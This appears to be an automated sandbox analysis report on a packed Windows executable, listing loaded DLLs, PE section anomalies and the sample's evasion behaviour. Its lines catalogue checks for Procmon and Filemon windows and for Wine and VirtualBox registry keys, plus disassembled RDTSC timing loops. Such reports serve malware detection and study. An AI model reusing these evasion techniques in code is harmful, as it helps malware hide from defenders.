Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.shell.servicehostbuilder.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ieframe.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mlang.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ieframe.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wkscli.dll	Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: file.exe

Static file information: File size 1876992 > 1048576

Source: file.exe

Static PE information: Raw size of jeitlowb is bigger than: 0x100000 < 0x19f200

Source:

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe

Unpacked PE file: 0.2.file.exe.510000.0.unpack :EW;.rsrc :W;.idata :W; :EW;jeitlowb:EW;prqdtbdb:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;jeitlowb:EW;prqdtbdb:EW;.taggant:EW;

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: file.exe

Static PE information: real checksum: 0x1d6fdb should be: 0x1cfbfb

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: jeitlowb
Source: file.exe	Static PE information: section name: prqdtbdb
Source: file.exe	Static PE information: section name: .taggant

Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00CF50CB push eax; iretd	0_3_00CF50CE
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00CF50CB push eax; iretd	0_3_00CF50CE
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00CF50CB push eax; iretd	0_3_00CF50CE
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00CF2EFF push eax; iretd	0_3_00CF2F02
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00CF52FD pushfd ; retf 0000h	0_3_00CF52FE
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00CF52FD pushfd ; retf 0000h	0_3_00CF52FE
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00CF52FD pushfd ; retf 0000h	0_3_00CF52FE
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00CF2EFB push eax; iretd	0_3_00CF2EFE
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00CF2EF9 push eax; iretd	0_3_00CF2EFA
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00CF4EF1 pushad ; ret	0_3_00CF4F0D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00CF3AAF push ebx; iretd	0_3_00CF3AB2
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00CF3AAB push ebx; iretd	0_3_00CF3AAE
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00CFA8A0 pushfd ; iretd	0_3_00CFA8CA
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00CFA8A0 pushfd ; iretd	0_3_00CFA8CA
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00CFA8A0 pushfd ; iretd	0_3_00CFA8CA
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00CF544C push esp; iretd	0_3_00CF544E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00CF544C push esp; iretd	0_3_00CF544E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00CF544C push esp; iretd	0_3_00CF544E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00CF5448 push esp; iretd	0_3_00CF544A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00CF5448 push esp; iretd	0_3_00CF544A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00CF5448 push esp; iretd	0_3_00CF544A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00CFE061 push 0000CFE0h; iretd	0_3_00CFE06E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00CFE061 push 0000CFE0h; iretd	0_3_00CFE06E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00CFE061 push 0000CFE0h; iretd	0_3_00CFE06E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00CF3A71 push ebx; iretd	0_3_00CF3AAA
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00CF31C0 push esp; iretd	0_3_00CF31C2
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00CF8BD7 pushad ; retf	0_3_00CF8BED
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00CF8BD7 pushad ; retf	0_3_00CF8BED
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00CF8BD7 pushad ; retf	0_3_00CF8BED
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00CF4FD4 push ebp; ret	0_3_00CF4FDB
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00CF9DED pushfd ; iretd	0_3_00CF9DEE

Source: file.exe	Static PE information: section name: entropy: 7.983065756808548
Source: file.exe	Static PE information: section name: jeitlowb entropy: 7.9535273483877615

Boot Survival

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot			Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information set: NOOPENFILEERRORBOX

Jump to behavior

Malware Analysis System Evasion

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\Desktop\file.exe

System information queried: FirmwareTableInformation

Jump to behavior

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5707E1 second address: 5707E7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5707E7 second address: 5707EB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E6FEF second address: 6E6FF5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E6FF5 second address: 6E6FF9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E713C second address: 6E7148 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E7148 second address: 6E7163 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4FE48681D7h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E7163 second address: 6E7181 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push ecx 0x00000008 jnc 00007F4FE44F82C2h 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E7181 second address: 6E7187 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E7187 second address: 6E718B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E718B second address: 6E71A1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4FE48681D2h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E72DD second address: 6E72E3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E72E3 second address: 6E72ED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E8E3E second address: 6E8E79 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop ebx 0x00000006 mov eax, dword ptr [esp+04h] 0x0000000a push ecx 0x0000000b jmp 00007F4FE44F82C6h 0x00000010 pop ecx 0x00000011 mov eax, dword ptr [eax] 0x00000013 pushad 0x00000014 jmp 00007F4FE44F82C2h 0x00000019 push eax 0x0000001a push edx 0x0000001b push ebx 0x0000001c pop ebx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E8E79 second address: 6E8EA0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4FE48681D8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a mov dword ptr [esp+04h], eax 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push ebx 0x00000012 pop ebx 0x00000013 pop eax 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E8EA0 second address: 6E8F16 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4FE44F82BEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop eax 0x0000000a mov dx, si 0x0000000d push 00000003h 0x0000000f mov edi, dword ptr [ebp+122D337Dh] 0x00000015 push 00000000h 0x00000017 push esi 0x00000018 jmp 00007F4FE44F82BDh 0x0000001d pop ecx 0x0000001e push 00000003h 0x00000020 call 00007F4FE44F82BEh 0x00000025 mov di, dx 0x00000028 pop ecx 0x00000029 call 00007F4FE44F82B9h 0x0000002e push esi 0x0000002f jnp 00007F4FE44F82BCh 0x00000035 jne 00007F4FE44F82B6h 0x0000003b pop esi 0x0000003c push eax 0x0000003d push eax 0x0000003e push edx 0x0000003f pushad 0x00000040 jmp 00007F4FE44F82C5h 0x00000045 pushad 0x00000046 popad 0x00000047 popad 0x00000048 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E8F16 second address: 6E8F30 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F4FE48681D6h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E8F30 second address: 6E8FAC instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [esp+04h] 0x0000000c push ebx 0x0000000d jbe 00007F4FE44F82B8h 0x00000013 pushad 0x00000014 popad 0x00000015 pop ebx 0x00000016 mov eax, dword ptr [eax] 0x00000018 push edx 0x00000019 jmp 00007F4FE44F82C5h 0x0000001e pop edx 0x0000001f mov dword ptr [esp+04h], eax 0x00000023 push eax 0x00000024 jmp 00007F4FE44F82C1h 0x00000029 pop eax 0x0000002a pop eax 0x0000002b movzx ecx, si 0x0000002e movzx ecx, ax 0x00000031 lea ebx, dword ptr [ebp+1244BCA4h] 0x00000037 pushad 0x00000038 mov si, 6150h 0x0000003c popad 0x0000003d mov edi, dword ptr [ebp+122D3669h] 0x00000043 xchg eax, ebx 0x00000044 jng 00007F4FE44F82D2h 0x0000004a push eax 0x0000004b push edx 0x0000004c jmp 00007F4FE44F82C4h 0x00000051 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E8FAC second address: 6E8FCB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F4FE48681D6h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E90EF second address: 6E90F4 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E90F4 second address: 6E9138 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 pushad 0x00000009 pushad 0x0000000a pushad 0x0000000b popad 0x0000000c push edi 0x0000000d pop edi 0x0000000e popad 0x0000000f push esi 0x00000010 push eax 0x00000011 pop eax 0x00000012 pop esi 0x00000013 popad 0x00000014 mov eax, dword ptr [esp+04h] 0x00000018 push ecx 0x00000019 jno 00007F4FE48681C8h 0x0000001f pop ecx 0x00000020 mov eax, dword ptr [eax] 0x00000022 pushad 0x00000023 push ecx 0x00000024 push edx 0x00000025 pop edx 0x00000026 pop ecx 0x00000027 push edx 0x00000028 jnc 00007F4FE48681C6h 0x0000002e pop edx 0x0000002f popad 0x00000030 mov dword ptr [esp+04h], eax 0x00000034 jo 00007F4FE48681D4h 0x0000003a push eax 0x0000003b push edx 0x0000003c jne 00007F4FE48681C6h 0x00000042 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E9138 second address: 6E915A instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 mov edx, dword ptr [ebp+122D3621h] 0x0000000d lea ebx, dword ptr [ebp+1244BCADh] 0x00000013 mov dx, 49BBh 0x00000017 xchg eax, ebx 0x00000018 push eax 0x00000019 push edx 0x0000001a push eax 0x0000001b push edx 0x0000001c jo 00007F4FE44F82B6h 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E915A second address: 6E9160 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E9160 second address: 6E9173 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 ja 00007F4FE44F82B6h 0x00000009 push esi 0x0000000a pop esi 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push ecx 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E91B5 second address: 6E91F8 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F4FE48681C6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push eax 0x0000000c je 00007F4FE48681D4h 0x00000012 nop 0x00000013 mov dx, FC31h 0x00000017 push 00000000h 0x00000019 adc di, 75A7h 0x0000001e call 00007F4FE48681C9h 0x00000023 push eax 0x00000024 push edx 0x00000025 jp 00007F4FE48681CCh 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E91F8 second address: 6E9240 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4FE44F82C8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007F4FE44F82C6h 0x0000000f mov eax, dword ptr [esp+04h] 0x00000013 pushad 0x00000014 jo 00007F4FE44F82BCh 0x0000001a push eax 0x0000001b push edx 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E9240 second address: 6E9244 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E9244 second address: 6E9248 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E9248 second address: 6E92E8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov eax, dword ptr [eax] 0x00000009 jmp 00007F4FE48681D6h 0x0000000e mov dword ptr [esp+04h], eax 0x00000012 jp 00007F4FE48681D7h 0x00000018 pop eax 0x00000019 sub ecx, 2A78030Ah 0x0000001f push 00000003h 0x00000021 mov dword ptr [ebp+122D1F70h], edi 0x00000027 jmp 00007F4FE48681D5h 0x0000002c push 00000000h 0x0000002e mov esi, dword ptr [ebp+122D3421h] 0x00000034 xor dl, FFFFFFE1h 0x00000037 push 00000003h 0x00000039 push 00000000h 0x0000003b push ebp 0x0000003c call 00007F4FE48681C8h 0x00000041 pop ebp 0x00000042 mov dword ptr [esp+04h], ebp 0x00000046 add dword ptr [esp+04h], 0000001Ch 0x0000004e inc ebp 0x0000004f push ebp 0x00000050 ret 0x00000051 pop ebp 0x00000052 ret 0x00000053 mov di, ax 0x00000056 call 00007F4FE48681C9h 0x0000005b push eax 0x0000005c push edx 0x0000005d push ecx 0x0000005e push eax 0x0000005f push edx 0x00000060 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E92E8 second address: 6E92ED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E92ED second address: 6E92F3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E92F3 second address: 6E9322 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edi 0x0000000a pushad 0x0000000b jnp 00007F4FE44F82B6h 0x00000011 push eax 0x00000012 pop eax 0x00000013 popad 0x00000014 pop edi 0x00000015 mov eax, dword ptr [esp+04h] 0x00000019 jmp 00007F4FE44F82BFh 0x0000001e mov eax, dword ptr [eax] 0x00000020 pushad 0x00000021 push eax 0x00000022 push edx 0x00000023 push eax 0x00000024 push edx 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E9322 second address: 6E9326 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E9326 second address: 6E9342 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4FE44F82C4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push ecx 0x0000000c pop ecx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E9342 second address: 6E9346 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E9346 second address: 6E937F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov dword ptr [esp+04h], eax 0x0000000b jmp 00007F4FE44F82C9h 0x00000010 pop eax 0x00000011 mov edi, edx 0x00000013 lea ebx, dword ptr [ebp+1244BCB8h] 0x00000019 mov esi, 05F1FE9Bh 0x0000001e mov edi, eax 0x00000020 push eax 0x00000021 pushad 0x00000022 pushad 0x00000023 push eax 0x00000024 push edx 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7081BD second address: 7081D8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F4FE48681D1h 0x00000009 jp 00007F4FE48681C6h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7081D8 second address: 7081DC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 708388 second address: 70838F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 708632 second address: 708645 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jg 00007F4FE44F82B8h 0x0000000c pop esi 0x0000000d push edx 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 708645 second address: 70864D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 708D13 second address: 708D17 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 708E84 second address: 708E8D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop esi 0x00000005 pushad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 708E8D second address: 708EB2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F4FE44F82C8h 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c jnl 00007F4FE44F82B6h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 709022 second address: 709043 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push esi 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F4FE48681D3h 0x0000000d jg 00007F4FE48681C6h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7091C3 second address: 7091E8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jng 00007F4FE44F82D0h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 700F87 second address: 700FC1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pushad 0x00000004 popad 0x00000005 pushad 0x00000006 popad 0x00000007 pop eax 0x00000008 jnl 00007F4FE48681CEh 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push ecx 0x00000011 pushad 0x00000012 jmp 00007F4FE48681D1h 0x00000017 push ecx 0x00000018 pop ecx 0x00000019 pushad 0x0000001a popad 0x0000001b popad 0x0000001c push eax 0x0000001d push edx 0x0000001e pushad 0x0000001f popad 0x00000020 jnc 00007F4FE48681C6h 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D7808 second address: 6D780E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7098B7 second address: 7098BF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7098BF second address: 7098C3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 709A21 second address: 709A49 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push edi 0x00000006 jmp 00007F4FE48681CAh 0x0000000b push edx 0x0000000c pop edx 0x0000000d pop edi 0x0000000e pop ebx 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F4FE48681D2h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 709BB3 second address: 709BB7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 709BB7 second address: 709BC1 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F4FE48681C6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 709BC1 second address: 709BE0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F4FE44F82BEh 0x0000000b pop esi 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 jc 00007F4FE44F82B6h 0x00000016 rdtsc
